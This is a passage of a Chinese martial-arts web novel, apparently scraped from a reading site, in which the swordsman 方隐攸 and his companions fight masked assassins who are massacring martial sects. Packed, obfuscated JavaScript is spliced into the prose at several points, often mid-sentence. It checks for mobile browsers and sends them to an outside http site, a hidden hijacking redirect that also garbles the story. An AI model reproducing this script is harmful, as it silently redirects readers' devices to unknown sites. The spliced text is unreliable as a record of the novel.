方隐攸侧过脸,看向依旧紧闭房门的东厢房,里面传来一声压抑的闷哼声,他脸色一变,手中的可生剑毫无征兆的被他循声掷出。 长剑穿过门板后尽数没入屋内,紧随其后的便是一道利刃刺破肌肉的声响和几声男子急促的呼声。 方隐攸眼下手中没了兵器,男人立刻朝他发起了攻击,刀刃直逼向他的脖颈,只要这一刀下去,方隐攸也会如那些尸体一样被斩断颈椎。 方隐攸并未闪避,而是弓步上前,一拳打在的手腕上,然后右手提肘击向他的下颌、左手握住他的小臂,侧身将人架在肩膀上后用力摔在地上。 随后,他狠狠的捏住男人握刀的手腕一拧,便听到咯吱一声骨头断裂的声响。 男人痛呼一声,握紧的手无力的张开,手里的兵器顺势落在,重重的砸在他的胸膛上。 方隐攸一脚踢开刀,然后提着他的脖子将人举了起来,手轻轻一勾,将他脸上的面具扯了下来。 面具下的人出乎意料的年轻,只是那双眼睛却并不清澈,十分的浑浊与狠厉,看起来死在他手里的人不在少数。 “说,为何要屠杀江湖人?” 男人嘲弄的呵呵一笑,闭上眼睛一副要杀要宰悉听尊便的意思。 方隐攸于是也不再多问,将人用力的砸向不远处的院墙,然后捡起他的刀,直接一刀了结了他。 方隐攸有些嫌弃的瞥一眼男人的尸体,然后将刀扔在了他的身上,随后便窜进了东厢房。 屋内的一个杀手已经被可生剑钉死在了墙上,另有一个身穿绫罗锦缎的女人握着一把匕首躲在方桌后面,警惕的打量着方隐攸。 方隐攸拔出可生剑,在男人身上仔细擦拭干净,然后面无表情的看向女人,“你这宅子格局太古怪了,带我去救人。” 女人闻言一惊,狐疑的盯着方隐攸打量,“你是来救我们的?” 方隐攸点点头,催促道:“快点,再磨蹭你的同门都得死。” 女子顿时反应过来,立刻朝外面冲了出去,嘴里还喊着,“大侠快来!” 方隐攸跟着女人拐过几条长廊,便看到一个宽敞的院子里满是打斗的人,柳扶斐也在其中,手里的长鞭挥得凌厉又果决,一鞭子就能将人抽的倒地不起。 方隐攸迅速加入,他身形矫健招式迅猛,身上的杀气腾飞,一招一式都是必杀,不过片刻间功夫便让对面的人出现了颓势。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949133|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 忽然,一声响亮的哨音响起,那群带面具的杀手立刻开始往外撤退。 方隐攸朝着柳扶斐喊道:“不能让他们跑了!” 柳扶斐随即甩动长鞭,卷住一人的腰腹,狠狠的将人拽了回来,死侍立刻围了上去,夺下杀手手里的兵器,然后将人卸下下巴后再捆住手脚。 方隐攸循着口哨传来的方向眺望一眼,那里是一座矮山,山头有一座废弃的孤庙,依稀间能看到有一个人影立在庙前的一株枯树前。 方隐攸回首看向柳扶斐,“替我审问这些杀手,我去去就来。” 说罢,也不等柳扶斐回应,他直接翻墙而出,朝着山上的孤庙奔去。 矮山离庄子不远,不到一盏茶的功夫方隐攸就到了孤庙前,只是那枯树下如今空空荡荡,并不见一人踪迹。 方隐攸走到枯树下,看着脚下长满青草的地面——上面有被人踩踏过的痕迹。 方隐攸的眼神变得森然,他看向破败不堪的孤庙,毫不犹豫的冲了进去。 这寺庙大概荒废了很久,连庙前挂的牌匾上的字都已经看不清了,便也不知道大堂里摆着的只剩下半截的石像究竟是什么神明。 石像前的供桌上布满灰尘,香炉中还插满燃尽的香根,只是都已经退成了灰黄色,更显萧索。 方隐攸走到供桌前,看向地上的一个蒲团,编织的缝隙里的灰已经堆成了黑色,蒲面上却十分干净,明显是有人在不久前擦拭过、跪拜过。 方隐攸的神色变得警惕起来,他握紧可生剑在庙里仔细寻找。 这孤庙方方正正长宽不过三丈,香火变得冷清后大概被人洗劫过,里面连个像样的摆件都没有,一眼就能将里面看的清清楚楚,更别想哪里能藏人了。 方隐攸抬头看向屋顶,横梁上挂满蛛网,也不像是能藏人的地方。 紧随而来的柳扶斐远远地看到方隐攸一个人在庙里徘徊,十分好奇的走了进来,问道:“你在找什么?” “方才在庄子里我看到这里有人,但是眼下又找不到了。” 柳扶斐闻言环顾整个寺庙,然后看向地上的蒲团。 “这蒲团倒是蹊跷。” 方隐攸点点头,“所以我没有看错,那人必然和那群杀手有关系,更有甚者他可能就是幕后主使。” 说完,他看向柳扶斐,“你上来时可看到有人下山?” “没有。”柳扶斐看向方隐攸,“只是这山势不高,周围也都是些矮树杂草,那人若是想要下去,完全可以新辟出一条路来。” 方隐攸一想也是,于是走到庙外面,翻身上了屋顶。 站在屋顶上朝远处一眺,不仅可以将玉屏派尽收眼底,还能看到更远处的县城城内热闹不已的闹市街头。 柳扶斐站在地上,朝着方隐攸喊道:“如何?” 方隐攸再仔细看了看矮山西边地势相对平缓的山坡,忽然瞥见有一处地方在反光,那光并不刺眼,不像是兵器,反到像是玉石。 方隐攸抬手朝那处一指,“那里有东西。” 柳扶斐点点头,转身朝着他手指的方向奔去。 81.吃糖吗 那是一块玉珏,上面刻着一圈繁杂的纹样,看上去十分普通,并没有什么特殊的地方。 方隐攸将玉珏递给柳扶斐,“你能看出点什么吗?” 柳扶斐捏住玉珏缓缓摩挲,仔细思索片刻后回到:“这玉珏非常干净,看样子是新落到这里的。” 方隐攸眉眼一动,“你是说,这玉珏大概率就是那个人落下的?” 柳扶斐点点头,举着玉珏迎着光反复观察,“这玉珏于你我而言可能非常寻常,但是对他来说可不一定。” “那我们就在这里等他?” 柳扶斐回首看一眼破败的寺庙,长叹一口气,“也只能如此了。” 话虽如此说,但是柳扶斐却依旧让他手底下那群死侍仔仔细细的将庙里面打扫了一遍,临了还去玉屏门的庄子里搬了一张床过来,而且上面还铺着柔软的被褥。 方隐攸嫌弃的啧啧嘴,然后退到庙外,望着远方的夕阳。 橙红亮黄交织霞光并不刺眼,看上去十分壮阔绚丽,大片大片的铺开,染透了半边天。 柳扶斐走到他身边,轻轻的抵住他的肩膀,说道:“抓住了四个杀手,拷打了一番却都没有吐出半个字来。” 方隐攸对此早有预料,闻言也并不见沮丧,“猜到了。” 柳扶斐从衣袖里拿出一个小竹筒,从里面倒出来一块酥糖递到方隐攸嘴边。 “吃吧,玉屏门的掌门欢羽给我的。” 方隐攸张开嘴,由着他将酥糖递到嘴里去,甜味瞬间溢满整个口腔,连带着让方隐攸的心情都变得舒畅起来。 “味道如何?” 方隐攸点点头,“还不错。” 柳扶斐于是也含进去一小块,然后将竹筒递给了方隐攸,“都给你。” 方隐攸刚将竹筒收好,就瞥见通往玉屏门庄子的小道上奔来浩浩荡荡将近五十人。 他们有老有少、有男有女,有人骑马、有人疾步奔走,唯一的共同之处是所有人都气势汹汹,嘴里吵嚷着要杀了那群杀手,让他们见识见识江湖人的厉害。 其中还有一个身穿苍绿色长袍的男人,他身形修长,步子拿的虽然急却并不仓促,显得非常文雅。 柳扶斐顺着他的视线望过去,“这人是谁?” 方隐攸定睛仔细一看,缓缓道:“崔清止。” “崔清止?”柳扶斐语气变得惊讶,“他不是去抚州了吗?怎么来这里了?” 方隐攸摇摇头,看着那群人走到玉屏门前敲了敲门,然后被人开门迎了进去。 “他们闹出这么大的动静,那人肯定不会再回来了。” “那我们今夜不如就在玉屏门里歇息?” 方隐攸摇摇头,“那群江湖人若是知道我来了,必然会到处宣扬,到时候我身后就会多上一群甩不掉的累赘,麻烦的很。” 方隐攸看向柳扶斐,“还是就在这里住吧。” 柳扶斐自然不会说不,转头就去督促着死侍再仔仔细细将庙里好生打扫一遍。 眼下夕阳逐渐西沉,只留下大半个在外面,晚霞弥散开,色彩更加糅杂,难以分辨究竟是什么颜色。 等到夜色渐浓,月上枝头时,方隐攸站在庙桥的枯树下,看见玉屏门里灯火辉煌,十分热闹。 柳扶斐凑到他身边,“我让人去买酒了,还有肉,咱们两个敞开了吃喝,比他们还快活。” 方隐攸嗯一声,沉默片刻,说道:“我要去见见崔清止。” 柳扶斐眉头蹙了起来。 “你找他做什么?” “韩桓临已死,他不该再掺和这些江湖事。”方隐攸语气变得怅然,“这是他继续做个读书人的好机会。” 柳扶斐闻言思忖片刻,“我觉得他并不会听你的劝告。” 方隐攸轻轻的嗯了一声,无所谓的耸耸肩,“毕竟那是他自己的人生。” “那你去吧,只是别去太久。”柳扶斐朝他挑挑眉,“否则这美酒可就一滴都喝不到了。” 方隐攸无语的翻了个白眼,立刻朝着不远处的玉屏门奔去。 白日里方隐攸虽说在庄子里走了一趟,但是当时只想着救人,并未留意里面的格局,眼下天色已晚,他想找到崔清止便更加不易。 他躲在暗处,仔细观察着周围的动静,忽然察觉到有人正往自己藏身的地方来。 于是他可以屏住呼吸,等到来人与他只隔着一个假山的拐角时,迅速翻身而出,将剑往来人脖子上一架,问道:“傍晚时分来的那群江湖人眼下在哪里?” 来人是个女人,由此变故神情却未见半点慌张,她将手里的灯笼往上一抬,看清方隐攸的面容以后,激动的笑道:“恩人!是我呀!” 方隐攸收了剑仔细打量她一眼,才反应过来这人正是百日里他救下的那个女人。 女人往前一步,“恩人要找谁?我去替你找来便是。” 方隐攸一想,如此一来到省事不少,于是将崔清止的外貌和身形仔细的说了一遍,临了还叮嘱一句,“只说是一个姓方的找他,他便明白了。” 女人点点头,提着灯笼继续往里走,方隐攸顺势后撤一步,倚在了身后的假山上。 假山前面有一个石灯笼,里面的蜡烛才燃了一小半,今夜无风,火苗笔挺的向上扬起,时不时得有一些细微的抖动。 方隐攸就沉默的盯着火苗,也不觉得枯燥。 “方兄。” 崔清止的声音在身侧不远处响起,方隐攸收回脚站直,缓慢的转了个方向看向他。 昏暗光影里他的长袍变成了黑色,修长的身姿如竹,眉眼看不太清晰,只觉得他大概是带着笑意的。 方隐攸问道:“你怎么会来这里?” 崔清止往前一步,石灯笼里的光落自下而上的落到他脸上,显得他的表情有几分阴郁。 “听闻江湖中有杀手在屠杀江湖门派中人,想着能救一个是一个,我便来了。” “就凭你仅剩的左手?” “嗯。”崔清止朝着方隐攸抬起左臂,张开手心,“就凭它。” 方隐攸嗤笑一声,带着几分劝解的说道:“如今韩桓临已死,你与他的仇怨算是彻底了了,你没必要再蹚江湖这趟浑水。” “你是个读书人,总能找打一份体面的行当谋生,何苦继续做个江湖匪徒?” 说道这里,方隐攸一顿,看着崔清止的眼神变得感慨,“你若是能入仕为官,必然比京城许多虚伪的狗官好。” 崔清止闻言眼神中闪过一丝黯然与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952948|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难堪,却又因为隐在暗处无人察觉,他若无其事的笑了笑,“既已入江湖,哪里还能全身而退。”说着,他朝着方隐攸抬手一拜,“还未曾多谢方兄替我报了此仇,此恩没齿难忘。” “又不是特意为了你杀的,有什么好谢的。” “该谢。” 崔清止又上前一步,从怀中掏出一个竹筒递给方隐攸,“这是玉屏门内特有的酥糖,方想要不要尝尝?” 方隐攸摇摇头,“不用,已经吃过了。” 崔清止遗憾的叹了口气,握住竹筒后,将手背在了身后。 “虽说江湖人都传方兄不愿插手此事,但是我知道你不会坐视不管。” 方隐攸扫一眼庄子后院,“一群废物,只想着让我来救。” “方兄觉得背后之人为何要屠杀江湖人?” “不知道。”方隐攸的语气含着十足的厌恶,“暴虐之徒的想法总是匪夷所思,我懒得去猜。” “也是。” 崔清止沉默片刻,然后眼神莫测的盯着方隐攸,“若是到了生死关头,方兄会舍己而救江湖人吗?” 方隐攸倒是从未想过这种问题,不过区区几个杀手,他与柳扶斐合力,哪里能陷入生死境地? “不会。”方隐攸说的信誓旦旦,“还有更重要的人等着我去救。” 崔清止笑着点了点头,“我也是如此想的。”他转过头,望向来时的方向,“与他们同行不过是无奈之举,以我一人之力难以追查到杀手的踪迹。” 方隐攸一直都知道崔清止其实是个心高气傲的人,整个江湖估计除了郭奇谅这样毫无城府又性格坦率之人,他大约是一个都瞧不上。 “那你便与我和柳傅文同行吧。” 方隐攸朝他抬抬下巴,“等此事了了,江湖之大随你去。” 崔清止闻言却并未点头,他朝着方隐攸摇摇头,带着几分委屈与埋怨的说到:“方兄并不信我,为何还要邀我同行。” “嗯?”方隐攸不解的眨了眨眼,“我怎么了?” “我去京城走了一遭,早就知晓柳公子并不叫柳傅文,而是柳扶斐,在京城里可是个响当当的人物。”崔清止叹一声,“可是方兄事到如今都还在瞒着我。” 方隐攸有些尴尬的摸摸鼻子,解释道:“隐瞒身份入江湖是他的事,我怎么可以擅自在旁人面前戳穿?” 崔清止再上前一步,与方隐攸只隔着一掌的距离,隐在阴影的脸终于完整的露了出来。 “所以...方兄并不是刻意隐瞒我的,对吗?” 方隐攸坦然的点点头,“你知不知晓他的身份于我和他而言没有半点影响。” 崔清止的眉眼舒展开,少了许多疏离感,他微微一笑,抬手想要握住方隐攸的手腕却被他轻巧的避开了。 崔清止看向落空的手,朝着方隐攸戏谑的挑挑眉,“想来方兄如今已经不再是当初那个不知情趣的武夫了。” 方隐攸点点头,“总不能一直无意的让他感觉到失落与难过,虽非我本意,总归是不好。” 崔清止脸色的笑意愈发浓郁,他往后退一步,拉开与方隐攸之间的距离。 “我方才是想说,既如此,那我便与方兄同行。” “好。” 82.前往江北 柳扶斐看到方隐攸和崔清止同归并不觉得诧异,他提着酒坛朝着崔清止微微一笑,“隐攸去时我便知道他会邀你一起回来。” 崔清止朝他微微颔首示意,笑道:“柳公子何出此言?” 柳扶斐走到方隐攸面前,将手中酒坛递给他,“上好的竹叶青。”然后朝着崔清止说道:“若是遇上危险,那群江湖人护不住你。” 崔清止失笑一声,“怪我武艺不精。” 方隐攸拍了拍酒坛,“别说这些了,先喝酒吃肉。” 也不知道柳扶斐的那群死侍去哪里寻得酒肉,都十分合方隐攸的胃口,不过想着明日还要继续赶路,他也并未喝多,只是解了酒瘾后便埋头吃肉。 柳扶斐端起酒杯,朝着崔清止示意。 崔清止于是举杯回敬,温润一笑道:“柳公子日后便打算一直在这江湖中了吗?” 话音一落,柳扶斐脸上的笑意瞬间消失,方隐攸也是一愣。 崔清止见状歉然的朝着两人举了举杯,“是我失言。” 随后,他将杯中酒一饮而尽。 方隐攸看向柳扶斐,“我倒是从未想过这个问题,等到事情都了结了,你是何打算?” 柳扶斐放下手中的酒杯,眼神灼灼的盯着方隐攸,“自然是你去哪里我去哪里。” “可是...”方隐攸有些不赞同的摇摇头,“没必要,你该去哪里就去哪里。” “什么该不该去,你的身边就是我该去的地方。” 方隐攸啧一声,喝一大碗酒,朝着柳扶斐无所谓的摆摆手,“你我之间没必要成日在一起,你有你的去处,我有我的去处,我若是想见你了,会去京城寻你。” 方隐攸打一个酒嗝,“你若是想见我了,也可来江湖中找我。” 柳扶斐轻哼一声,委屈的望着他,“那我时刻都想见你怎么办?” 方隐攸被酒气熏红的脸瞬间变得通红,他用眼角余光扫一眼崔清止,发觉他正揶揄的望着自己,于是更加觉得难为情。 “你知不知羞?这话是能当着人说的吗?” 柳扶斐不管不顾,哼哼唧唧的靠上来,将脸贴在他的脖子上,吐出一口酒气,“为什么不能,崔公子对你我之间的事情一清二楚,让他听了又如何?” 柳扶斐抬眼看向催清止,朝他挑了挑眉,“是吧?崔公子?” 崔清止无奈的笑到:“是。”他看向方隐攸,“我倒是有些羡慕两位了,人生百年能得一人相伴,是件幸事。” 方隐攸抬手扶额,忍住了想要将柳扶斐一脚踹开的冲动,由着他像个狗皮膏药的贴着自己。 崔清止朝着方隐攸举杯,“方兄,喝酒。” 方隐攸端起酒碗,仰头灌酒,冰凉的酒水顺着嘴角滑落,流入侧颈后留下一道清晰的水渍。 崔清止盯着那道水痕失神许久后又猛地回神,怅然的低头苦笑一声,又喝了一杯酒。 等到玉屏门里的烛火渐渐熄灭,坐在枯树下的三人也入了庙内歇息。 好在柳扶斐差人弄来的棉絮很多,扯了几床铺在地上也能凑活一晚,崔清止十分自觉的睡到了供桌前的空地上,与他们两人隔着些距离。 第二日天才蒙蒙亮时,只剩半个的神像后面突然传来一声闷响,紧随其后的是柳扶斐沙哑的埋怨声。 “方隐攸!你为何又踹我!” 崔清止翻坐而起,捋平身上的衣袍后,便看到方隐攸施施然的往外走来。 方隐攸朝他颔首示意,然后朝着后面说到:“热。” 崔清止和他并肩出了庙门,远处雾霭沉沉,只能看见白茫茫一大片。 “竟然起雾了。” 方隐攸嗯一声,“许久没见过这么大的雾了。” 山下传来一阵嘈杂喧闹的声音,大概是那群江湖人要启程了。 柳扶斐这时候也走了出来,他眼中还有未曾散去的睡意,看到眼前的浓雾以后也有些惊讶,“怎么好端端的起了这么大的雾。” 崔清止侧过脸看向方隐攸,“我们也启程吧?” 方隐攸点点头,朝着柳扶斐使了个眼色,柳扶斐从怀中掏出骨笛,吹出一声鸣响后一个黑衣男子瞬间落在几人面前。 他朝着柳扶斐恭敬一拜,“主子,打听到了,他们一行人往江北去了。” 方隐攸脸色骤变,“郭奇谅的猛虎帮就在江北!” 崔清止的脸色也变得十分难看,“猛虎帮从不作恶,他们也不放过吗?” “此地距江北八十里,我若全力奔袭只需不到一个时辰,我先行一步,你们随后赶来。” 方隐攸话音一落,人便消失在了大雾里,只剩下崔清止和柳扶斐两人面面相觑,然后客套的对彼此笑了笑,沉默着追赶方隐攸的步伐。 方隐攸轻功了得,一步丈许,如猎豹一般在崎岖的道路上狂奔,眼睫发梢上沾上的雾水都挂不住,顷刻间消散。 等到他赶到猛虎帮时,大雾没有丝毫的消减,依旧浓得发稠,连帮派大门都看不清,只能听见里面传来的厮杀声。 方隐攸毫不犹豫的冲了进去,长剑划过几人脖颈,鲜血喷溅而出,他将人一脚踢开,剑上衣襟上滴血未沾。 好在他对猛虎帮的地形了如指掌,一进宅院便直冲向郭奇谅夫人所在的后院。 郭奇谅虽然年岁不轻却仅有一子,乳名为小豹子,年岁尚小,还在蹒跚学步。 无论如何都要将孩子救下才行。 只是这段不长的路上,堆满了尸体,方隐攸的心也越来越凉,好不容易到了院子前,就听到里面传来郭奇谅的一声嘶吼,含着悲愤与不甘。 方隐攸眉心一抖,迅速闪进院内,便看到一个郭奇谅半跪在地,怀中抱着一个满脸是血的婴儿,背上还插着一柄长剑,剑刃穿透他的胸膛,直直的刺入婴儿脖颈之中。 他的身后不远处,是他夫人死不瞑目的尸体。 而他的周围围着的,是二十几个黑衣杀手,他们手里的长剑上的血痕都还未干。 杀手们察觉到动静,皆回头朝着方隐攸看了过来。 方隐攸怒火中烧,手中的可生剑发出一阵阵震鸣。 他愤恨的低吼一声,人与剑化作一道闪电,在所有人都还没反应过来之前,从他们身前窜过,然后稳稳的站到郭奇谅身后。 可生剑剑刃上不留一丝血痕,杀手脖颈上血流如注。 方隐攸眼神森冷而厌恶的盯着身侧的一个杀手,在他惊恐的眼神中扯了扯嘴角,“这才是杀手。” 说罢,他反手一挥剑,带出一道强悍的罡风,震得周围的杀手往后摔落几丈远,然后软弱无骨的倒在地上没了气息。 方隐攸呵一声,然后俯下身来试探郭奇谅的鼻息,在感觉到一丝微弱的气息以后,他终于舒了口气。 “郭大哥。”方隐攸轻唤一声,手握住他背后的长剑,“我要拔剑了,你忍住一点。” 话音一落,长剑便被拔了出来。 郭奇谅猛吐一口鲜血,整个人都无力的朝前扑去,双手却依旧紧紧的抱着怀中早就没了气息的孩子。 方隐攸接住他的身躯以后,连忙封住他的几道血脉,然后将人拖到院中的一个石墩边靠着。 郭奇谅缓缓睁开眼,双眼猩红的望着方隐攸,魁梧的身躯开始剧烈的抖动。 “我郭奇谅这辈子,行事仗义,从不恃强凌弱...为什么...会落到今天这副田地...” 郭奇谅的语气悲哀,大手捧住怀中孩子的头顶缓缓摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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方隐攸的眼神变得警惕起来,他侧过身,握紧可生剑,身姿变得紧绷,如满弓上的箭,蓄势待发。 “难怪没有哪个门派能躲过去,原来有这么多人。” 黑衣人仰头得意的大笑一声,“一群废物,哪里需要这么多人。这些——” “都是为你准备的。” 他摇摇头,遗憾的叹一口气,“原以为你会是最后一个,可是你自己活腻了要来找死,怨不得谁。” 说完,他一招手,围墙上的人立刻提剑朝他冲了过来。 方隐攸后撤一步,凝神望着他们的剑锋,然后在他们距离自己不过半丈时,迅猛的腾空而起,可生剑挽出一道剑花,带出一阵风刃,直射向众人的脖颈。 一时间血雾弥漫,痛呼声四起。 方隐攸乘胜追击,腾空侧翻一圈,长剑带出一道罡风,卷起地上散落一地的兵器,然后用力一挥,尽数朝着那群人刺去。 随后,方隐攸提剑跨步上前,眨眼间就到了一人身后,握着长剑在那人面前随意一扫,便是人头点地。 周围的人见状一惊,心中升起怯意,但是却又因为方隐攸已然朝着自己而来,没了退路便只能提剑相搏。 忽然,远处传来一声哨音,和昨日在玉屏门里听到的一模一样。 他们要撤了。 方隐攸立刻转身朝着方才那个发号施令的黑衣人袭去,黑衣人见状扯过身侧的两个杀手挡在自己面前。 “方隐攸,下次见。” 说罢,他将那两人往前一推,迅速朝外撤去。 方隐攸连忙将两人踹开,然后追着他往外跑去。 只是外面浓雾弥漫,方隐攸只不过是迟了一步,就再也无法窥见他的踪迹。 83.七星门 方隐攸屏息凝神,蹲下身来将耳朵贴近地面,仔细分辨周遭的动静,却听到有一群人正在朝这边奔来。 大概是那群江湖人,方隐攸不想和他们碰面,于是直接跃上了身侧一颗枝繁叶茂的香樟树。 不多时便看到一群人浩浩荡荡而来,正是清晨从玉屏门中出来的那些人。 他们进了猛虎帮以后又很快的跑了出来,每个人脸色的神色都十分愤慨,扬言要尽快追到那群杀手,免得他们再杀人。 然后一群人又浩浩荡荡的走了,就像是从未来过一般。 方隐攸倚在树梢上,等着柳扶斐和崔清止二人。 没过多久,他们就一前一后的出现在了视野里,方隐攸疾步奔到他们面前,说道:“我来晚了,只救下一部分人。” 崔清止惊呼一声,担忧的问道:“郭大哥可还好?” 方隐攸摇摇头,“受了重伤,已经被他的门众带走了。” “可惜了...”崔清止长叹一口气,看向大门敞开的猛虎帮,又道一句:“可惜了...” 柳扶斐走到方隐攸身边,仔细的打量着他的神色,低声问道:“你没事吧?” 方隐攸摇摇头,“没事。” 柳扶斐松了口气,方才他还忧心方隐攸会因为情绪波动太大,又让心魔的期限往前挪。 “江北除了猛虎帮还有三个小门派,在猛虎帮的东西南三个方位。”崔清止忧心忡忡的望着方隐攸,“就是不知道他们会先去哪里。” “追逐他们的步伐总是会慢一步,赶去了也只是满地的尸体。” 方隐攸望着前方的一片浓雾,“眼下江湖中叫得上名号的门派仅剩一个锦州百丈崖上的七星门,其有门众一千余人。” “这些杀手要屠尽江湖人,必然会去七星门,我们去那里等他们。” 崔清止思忖片刻,“也好。” 三人随即立刻赶往七星门,免得又落后那群杀手一步。 只是锦州距离江北五百多里地,他们紧赶慢赶才在第二日晌午时分到了百丈崖底。 百丈崖的地势十分特殊,陡峭的山壁上仅有几根铁索可以攀上去,这大概也是为何这群杀手迟迟没有袭击崖顶七星门的原因。 方隐攸仰头望着高耸的山崖,随后看向崔清止,“你用左手能攀上去吗?” 崔清止点点头,将手在方隐攸面前晃了晃,“方兄放心,它可以。” 方隐攸继而看向柳扶斐,他没有忘记柳扶斐手心的皮肉细嫩,问道:“这铁索粗糙的很,若是不行,我背你上去。” 柳扶斐瞥一眼崔清止,低不可闻的轻哼一声,他手指了指崖上的绳索,“区区几十丈而已,本公子自然可以。” 方隐攸于是不再多言,朝着两人使了个眼色,将剑悬挂在腰间后反手拽住一根绳索,脚尖在峭壁上一点,立刻往上攀了丈许。 柳扶斐和崔清止虽说没有他快,但是也没有落后多少,三人几乎是差不多时间到的崖顶。 柳扶斐炫耀似的朝着方隐攸挑挑眉,“如何?” 方隐攸皮笑肉不笑的朝他扯了扯嘴角,敷衍的夸了一句柳兄厉害。 柳扶斐嘿嘿一笑,凑到他身边,与他一道望向不远处的一个大庄子。 这庄子里面的高楼都是石楼,造型十分独特,每栋阁楼的飞檐上还放着一颗夜明珠,显得十分富丽堂皇。 最令人惊叹的还数它的大门,竟然是一整块玉石,上面雕刻着一副精妙绝伦的八仙图,栩栩如生的仿佛仙人就在眼前一般。 方隐攸看向崔清攸,“我之前曾放言绝不再踏入这七星门半步,所以这门还得你去敲。” 崔清止嗯一声,径直朝着七星门的大门而去。 柳扶斐看着玉石大门,疑惑的问道:“这七星门什么来头,看上去富裕得很。” “一群土匪。”方隐攸嫌弃的撇撇嘴,“自诩为劫富济贫的侠盗,其实劫的财大部分都落到了自己手里,给穷人的不过是九牛一毛而已。” “难怪能将夜明珠放在屋顶。”柳扶斐有些疑惑的皱了皱眉,“当初在并阳县中时,似乎未曾听闻过这个门派。” “他们的掌门只贪财,武功秘籍什么的,他不感兴趣。” 方隐攸看向屋顶的那几颗夜明珠,“这个值钱吗?” 柳扶斐啧啧嘴,盘算了一下,“这珠子成色不好,一颗也就值十两银子。” “那不要了。”方隐攸凑到柳扶斐耳边悄声道:“等进了七星门,你告诉我哪些是值钱货。” “你要做什么?” 方隐攸露出一个别有用心的笑意,“自然是教教七星门究竟什么才是劫富济贫。” 柳扶斐瞬间就明白了方隐攸的意思,脸上也扬起不怀好意的笑。 “我叫上那些死侍一道,只拿最值钱的宝贝。” 两人说话的功夫,崔清止已经敲开了七星门的大门,也不知道他和守门的少年说了些什么,少年竟然将门大敞开,还朝着他抬手一拜,恭敬不已。 崔清止转头朝着两人使了个眼色,示意两人上前来。 方隐攸和柳扶斐施施然的走到他身后,听着他朝着少年微微一笑道:“这是我两位挚友,与我一道来拜见昌掌门。” 少年朝着方隐攸和柳扶斐微微一拜,“诸位请随我来。” 随后,他朝着几人抬手示意,将人领进院内一凉亭中,嘴上还毕恭毕敬的解释道:“掌门眼下正在与各位长老商议要事,几位且先到亭中稍后片刻。” 崔清止点了点头,“无碍,不急。” 少年离开前再次朝着几人躬身一拜,然后才退出凉亭。 等人一走,方隐攸活动了下肩膀,然后大大咧咧的坐到茶几边,沏上一杯凉茶一口饮尽。 柳扶斐拿起一个茶杯仔细打量,“这可是官窑的葵口杯,这七星门的人当真是吃了熊心豹子胆了,皇家的东西也敢劫。” 方隐攸闻言一惊,捏着手中青色釉面的小杯子打量,倒是看不出什么特殊,只觉得这杯圈有些罕见,不圆不方,十分崎岖。 “值钱吗?” 柳扶斐摇摇头,“值钱,但是不好变卖,识货的人不敢买,敢买的人不识货。” 方隐攸撇撇嘴,将杯子噔的一声放到茶几上。 崔清止闻言倒是有些不解,“方兄这是何意?” “我想要在这里拿些值钱的宝贝去换钱。” 崔清止失笑一声,“你直接让昌誉给你不就是了。” 方隐攸摇摇头,“他满肚子坏心思,上次我找他讨值钱的宝贝,竟然给了我一堆破铜烂铁,当真是个不要脸的东西。” “你说谁不要脸呢?” 凉亭外一个身穿绛色锦衣、头戴金冠、腰佩玉带的年轻男人朝着方隐攸讥笑一声,“自己不识货反倒怪上我来了。” 说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964765|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他朝着崔清止微微颔首示意,当做招呼。 方隐攸手撑住下巴,朝他挑挑眉,“昌誉,我这次可是来救你狗命的,你再说这种话,我可就走了。” 昌誉呵一声,走进凉亭坐到方隐攸对面,“你要是想走就不会来。”他撇撇嘴,继续道:“上次你敲碎了我一块上好的玉门,我还没找你算账呢,你到自己找上门来了。” 两人你一言我一嘴的互相编排半天,柳扶斐终于理清了两人之间的恩怨。 简而言之就是方隐攸霸道的要昌誉吐出些珍宝出来,他要拿去换钱接济流民,可是没想到昌誉竟然给了一堆不值钱的东西,气的他直接将七星门前原先那块价值千金的玉门砸个粉碎,还扬言这辈子都不会再踏入这个铁公鸡的地盘。 昌誉修长的食手在茶几上一点,手上的玉指环上一颗硕大的红色宝石如血般浓郁。 他朝着方隐攸扯了扯嘴角,“这几年没了我这个好去处,你只怕是连杯好酒都没的喝吧?” 方隐攸轻嗤一声,刚想骂人,柳扶斐就接过了话茬,“怎么没有,隐攸跟着我有喝不完的美酒、享不尽的荣华。” 柳扶斐朝着昌誉轻蔑一笑,“而且都是来路正当的钱财,享受起来心安理得。” 